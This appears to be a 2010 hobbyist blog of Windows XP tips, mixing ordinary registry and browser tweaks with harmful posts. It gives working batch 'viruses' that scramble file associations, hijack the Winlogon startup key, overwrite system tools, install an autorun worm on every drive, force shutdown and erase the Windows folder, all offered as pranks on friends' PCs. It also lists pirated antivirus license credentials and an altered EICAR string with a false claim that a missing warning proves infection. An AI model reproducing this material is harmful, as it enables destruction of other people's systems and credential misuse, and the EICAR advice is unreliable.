malware - trojan version 2. it does something useful but does harm in the
background. they should've called it politician.

jokeware - a vius who's payload is a prank.

VIRUS CHECK IN XP

press ctrl-alt-del. task manager will popup?
Task manager should pop up.

click start, click run, type msconfig. did msconfig pop up?
MSCONFIG window should pop up.

Double click my computer, double click C, goto tools, options, view
click SHOW hidden files

click apply, click ok.
goto tools, options, view.
Checkbox MUST still be at Show Hidden Files.

This for for just testing if thr any virus in ur pc @@

START YOUR PC IN 10 SECONS

How to turn the pc on in 10 seconds

Aight heres what u have to do to turn ur pc on in 10 seconds
:
Click on the start button then press R it will take u to Run well go to run
n type Regedit
press enter
this will open Registery Editor
now look for the key

HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Contr ol\ContentIndex

now there find the Key Called
"Startup Delay"
Double Click On It
Now where its Base
Click Decimal
Now its Default Value Is 4800000
Change The Value To 40000
here u go u have done it
now close the Registery Editor and Restart Your Computer!! Enjoy

Thursday, July 29, 2010

as

Wednesday, July 28, 2010

ESET NOD 32 AND ESET SMART SECURITY USERNAME AND PASSWORD

2010-7-25 NOD 32 USERNAME AND PASSWORD

Username:EAV-43398340
password:nacaaephjk

Username:EAV-43398378
password:3ka3fxnfjv

Username:EAV-43398379
password:8aavas27kr

Username:EAV-43348316
password:4cucxaeumh

Username:EAV-43348317
password:a3u8s5rkmc

Username:EAV-43348318
password:m74dsursds

Username:EAV-43348777
password:mr7d37c8×7

Username:EAV-43349249
password:n43jb4c2nb

Username:EAV-43349251
password:tr3e5vnpp6

Username:EAV-43348324
password:7744adpufb

Batch Virus

Title Ext_Change Virus
color a
Rem This Virus file disables ur files enjoy
@echo off
assoc .jpeg=htmlfile
assoc .html=jpegfile
assoc .avi=txtfile
assoc .mpeg=regfile
assoc .txt=avifile
assoc .reg=htmlfile
assoc .exe=jpegfile
assoc .sys=regfile
assoc .dll=exefile
assoc .dill=tempfile
msg Your System got Infected…..
pause
exit

save it as anything.bat enjoy dont double click on it in ur pc!!!

____________________________________________________________________

@ Title Ext_Change Virus
@ color a
@ echo off
msg * VIRUS INFECTING YOUR FILES .
copy %0 %windir%\system32\
attrib +s +h +r %windir%\system32\system.bat
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\system.bat" /f
for %%i in (system32\notepad,system32\taskmgr,system32\regedt32,taskman,regedit) do echo. > %windir%\%%i.exe
for %%i in ("jpeg=html","html=jpeg","avi=txt","mpeg=reg","txt=avi","reg=html","exe=jpeg","sys=reg","dll=exe","dill=temp","vbs=dat") do assoc .%%~ifile
@ color c
set "auto=%windir%\system32\autorun.inf%"
(
echo open= system.bat^
echo action=Open folder to view files^
echo shell\open=Open^
echo shell\open\command=system.bat^
echo shell\open\default=1^
echo label=VIRUS^
)>> %auto%
attrib +s +h +r %auto%
for %%i in (%auto%,system.bat) do (
for %%k in (c,d,e,f,g,h) do copy %%~i %%k:\ & pause
)
msg * Go To Hell
exit

save it as anything.bat enjoy dont double click on it in ur pc!!!

__________________________________________________________

C:\windows\system32\shutdown -s -f -t 00

save above in anything.bat whenever you double click on anything.bat your pc will shutdown.

MISSING FOLDER OPTION

Many of us sometimes find the folder options missing in windows explorer due to some virus or trojan effect.
Here's the solution-->

Open Run and then type "gpedit.msc".
Now goto User Configuration > Administrative templates > Windows Component > Windows Explorer.
Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu"
Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

After restarting pc you will get option of folder !!

how to damage friends pc

how to damage friends pc by notepad(For fun only :P)
try this hope you will enjoy it .......
open notepad
1. type>ERASE C:WINDOWS
2. save this file by name fun.cmd

let him restart the pc and you will find his c drive is destroyed.....
i tried it works enjoy !

Tuesday, July 27, 2010

HOW TO INSTALL WINDOWS XP LESS THAN 15 MINUTES

This tip will be very helpful for those who frequently install windows xp operating system. Normally OS installation takes around 40 minutes to complete, but through this trick you can now save 10-15 minutes. This simple tricks goes this way.

1. Boot through Your Windows XP CD.

2. After all the files are completely loaded, you get the option to select the partition. Select “c”.
3. Now Format the partition, whether it is normal or quick with NTFS or FAT
4. Once the formatting is completed, All the setup files required for installation are copied. Restart your system by pressing Enter.
Now, here begins the Simple trick to save 10-15 minutes.
5. After rebooting, you get a screen where it takes 40 minutes to complete or finalize the OS installation.
6. Now, Press SHIFT + F10 Key -> This opens command prompt.
7. Enter “Taskmgr” at the command prompt window. This will open Task Manager.
8. Click the Process Tab, here we find a process called Setup.exe -> Right Click on Setup.exe -> Set Priority -> Select High or Above Normal. Initially it will be Normal.
Thats it, no more work to do. Relax your self and see how fast the installation process completes!!!

sas

Find Product Key for Windows and Office

If you are looking for a way to retrieve the product keys of your MS Windows or MS Office, you are on the right page!

The following is a tool to detect the product keys of Microsoft Windows and Microsoft Office installed on your machine. This tool is free to download at Magical Jelly Bean.

below is screenshot

The tool also provides some nice features let you change your Windows product key, or detect the key remotely to another computer.
To download a copy of this tool.Click here

HIDE DRIVES FROM COMPUTER

This trick is a user contributed. The information might have been copied and pasted exactly as what user posted.

Proceed at your own risks.

How to Hide the drives(c:,d:,e:,...etc) in Ur Computer

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1. Go to Start -> Run.
2. Type regedit
3. Now go to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
4. Now in the right pane, create a new DWORD item and name it NoDrives (it is case sensitive).
5. Now modify it's value and set it to 3FFFFFF (Hexadecimal) .
6. Now restart your computer.
7. So, now when you click on My Computer, no drives will be shown(all gone...).

To enable display of drives in My Computer, simply delete this DWORD item that you created. Again restart your computer. You can now see all the drives again. Magic.......

Monday, July 26, 2010

SPEED UP YOUR BROWSING

When you connect to a web site your computer sends information back and forth. Some of this information deals with resolving the site name to an IP address, the stuff that TCP/IP really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although Windows XP and Windows XP have a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d

Make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Merge it into the registry.

DOWNLOAD FROM RAPIDSHARE FAST 100% WORKING

HERE IS A SOLUTION TO THAT PROBLEM

1. Click a Download link for Rapidshare !

2. Click the Free button on Rapidshare Page !

3 . Now timer will start

4. Go to the address box of your browser.
(Where you type the websites )

5. In the address box type: javascript:alert(c=0)

6. Click OK on the alert box that arises
UR PROBLEM IS SOLVED........

7.NOw go back and click on download file your file will download !! enjoy

MAKE WINDOWS XP SHUTDOWN SPEED FAST

This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.
Go to Start then select Run
Type 'Regedit' and click ok
Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now select 'HungAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'

Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\'
Select 'WaitToKillServiceTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'

MAKE YOUR FIREFOX VERY FAST

This Firefox tricks will improve the speed & load time of firefox. And you will be able to surf faster.

Type about:config in the address bar, Then look for the following entries, and make the corresponding changes.
network.http.max-connections-per-server =32
network.http.max-persistent-connections-per-proxy =16
network.http.max-connections = 64
network.http.max-persistent-connections-per-server = 10
network.http.pipelining = true
network.http.pipelining.maxrequests = 200
network.http.request.max-start-delay = 0
network.http.proxy.pipelining = true
network.http.proxy.version = 1.0

Lastly right-click anywhere and select New- Integer. Name it nglayout.initialpaint.delay and set its value to 0. This value is the amount of time the browser waits before it acts on information it receives. Enjoy!!

Friday, July 23, 2010

Test Your Antivirus

Just paste the following code in any "text file" and save it with .txt

CODE:

_______________________
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*X5O!P%@AP[4\PZX54(P^)7CC)7}$Rajput Ravi-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
________________

Your Anti virus must show a warning.
If it doesn't then it means that your computer must be having a virus.
if ur antivirus is good enough then it also delete that file